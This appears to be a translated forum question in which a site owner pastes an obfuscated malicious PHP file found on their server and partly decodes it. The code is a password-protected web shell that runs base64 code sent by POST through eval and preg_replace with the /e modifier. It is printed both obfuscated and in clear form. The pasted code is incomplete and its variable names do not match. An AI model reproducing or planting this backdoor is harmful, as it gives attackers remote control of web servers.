Php 函数变量 - 恶意软件文件

Php Function Variable - Malware File

只是一个简单的问题.... 我在网站上发现了一个恶意文件(已删除),但我想知道它在做什么。下面是代码,任何见解将不胜感激。

function myfunc () {
$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';
$_myfunc2 = "\x63\x68\x72";
$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);
$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));
$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");
$_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65");
$_g1qm5($_g1qm3('e'.$_g1qm2(47).'*./'),"@$_g1qm6($_g1qm4(\"JGxvZyA9ICdwcnQnOyBpZiAoIWlzc2V0KCRfU0VTU0lPTikpIHsgCXNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgCWlmIChpc3NldCgkX1BPU1RbJ210cSddKSkgeyAgCQkkcHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnbXRxJ10pOyAJCWV2YWwoJHB0KTsgCQlleGl0OyAJfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3eCddKSAmJiAobWQ1KCRfUE9TVFsncHd4J10pID09ICRfZzFxbTEpKSB7IAkkX1NFU1NJT05bJ2xvZyddID0gJGxvZzsgCWV4aXQ7IH0K\"))",'');} @_g1qm0();
}

此代码不完整,但根据我的解码,它是:

$log = 'prt'; 

if (!isset($_SESSION)) {    
  session_start(); 
} 

if (isset($_SESSION['log']) && ($_SESSION['log'] == $log)) {    
    if (isset($_POST['mtq'])) {                 
        $pt = base64_decode($_POST['mtq']);         
        eval($pt);      
        exit;   
    }
 } 

 if (isset($_POST['pwx']) && (md5($_POST['pwx']) == $_g1qm1)) { 
    $_SESSION['log'] = $log;    exit; 
 }

所以简单来说,它从 POST 请求的 mtq 参数中查找并在 shell 中执行它。数据采用 base64 编码格式。它还在会话中的键 log

上存储一个变量

还有

$_myfunc2 = "\x63\x68\x72";根据ASCII码解码为chrPHP中的returns字符的函数。

$_myfunc1 = '63ebc49bf6d9fc5bed6af96a894db6cd';

看起来像 md5 哈希,但我不确定

$_g1qm3 = $_g1qm2(115).$_g1qm2(116)."\x72".$_g1qm2(114)."\x65".$_g1qm2(118);

是$_g1qm3是strrev函数

$_g1qm4 = $_g1qm3($_g1qm2(101).$_g1qm2(100)."\x6f\x63".$_g1qm2(101)."\x64".$_g1qm2(95).$_g1qm2(52)."\x36".$_g1qm2(101)."\x73\x61".$_g1qm2(98));

是base64_decode()

$_g1qm5 = $_g1qm3("\x65\x63".$_g1qm2(97)."\x6c\x70\x65".$_g1qm2(114)."\x5f\x67\x65".$_g1qm2(114)."\x70");

是preg_replace()

 $_g1qm6 = $_g1qm3("\x6c".$_g1qm2(97)."\x76\x65")

是eval()